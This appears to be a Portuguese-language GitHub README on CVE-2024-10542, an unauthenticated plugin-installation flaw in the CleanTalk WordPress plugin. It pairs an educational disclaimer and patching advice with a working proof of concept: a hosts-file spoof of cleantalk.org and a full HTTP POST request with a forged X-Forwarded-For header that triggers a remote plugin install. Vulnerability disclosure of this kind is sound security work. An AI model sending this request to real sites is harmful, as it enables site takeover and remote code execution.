ubaydev/cve-2024-10542WordPress Spam protection, AntiSpam, FireWall by CleanTalk Plugin <= 6.43.2 é vulnerável à instalação arbitrária de plugins não autenticada.
As informações fornecidas neste documento sobre o CVE-2024-10542 são apenas para fins de aprendizado e educacionais. Não incentivamos nem autorizamos o uso dessas informações para quaisquer fins prejudiciais, incluindo, mas não se limitando a, exploração, adulteração de sistemas ou outras atividades ilegais.
Em um cenário digital cada vez mais complexo, garantir a segurança dos sites é fundamental para muitos proprietários. Recentemente, duas vulnerabilidades críticas foram descobertas que representam uma ameaça significativa aos sites WordPress. Essas vulnerabilidades afetam o conhecido plugin CleanTalk, que fornece proteção contra spam, medidas antispam e um firewall. O que torna essa situação ainda mais urgente? Vamos nos aprofundar! Duas vulnerabilidades, rastreadas como CVE-2024-10542 e CVE-2024-10781, poderiam permitir que atacantes não autenticados instalassem e ativassem plugins maliciosos em sites suscetíveis. Isso não apenas compromete a reputação do site, mas também abre caminho para que os atacantes executem código remoto. Com uma pontuação CVSS de 9,8 em 10, é evidente que essas vulnerabilidades se enquadram na categoria de altamente perigosas. De acordo com a Wordfence, ambas as vulnerabilidades dizem respeito a um problema de bypass de autorização que poderia permitir que um ator malicioso instalasse e ativasse plugins arbitrários. Isso poderia então abrir caminho para a execução remota de código se o plugin ativado for vulnerável por si só.
primeiramente, usuários maliciosos definirão o arquivo hosts em seus sistemas operacionais:
127.0.0.1 cleantalk.org
depois disso, enviam uma requisição como esta:
POST /?plugin=wp-hooks-finder/index.php HTTP/1.1
Host: wordpress.test
Content-Length: 56
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://wordpress.test
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.60 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close
spbc_remote_call_action=install_plugin&plugin_name=apbct
A segurança cibernética é uma responsabilidade compartilhada por todos os proprietários de sites. Mantendo os plugins atualizados e permanecendo vigilantes quanto a possíveis vulnerabilidades, podemos proteger nossos sites contra ataques maliciosos. Certifique-se de ter atualizado o CleanTalk para a versão mais recente e realize verificações de rotina em outros plugins para garantir a máxima segurança. Lembre-se, pequenos passos podem evitar grandes desastres!
Allah, Muhammad SAW, mikemyers, Markdown Monster, minha família, você?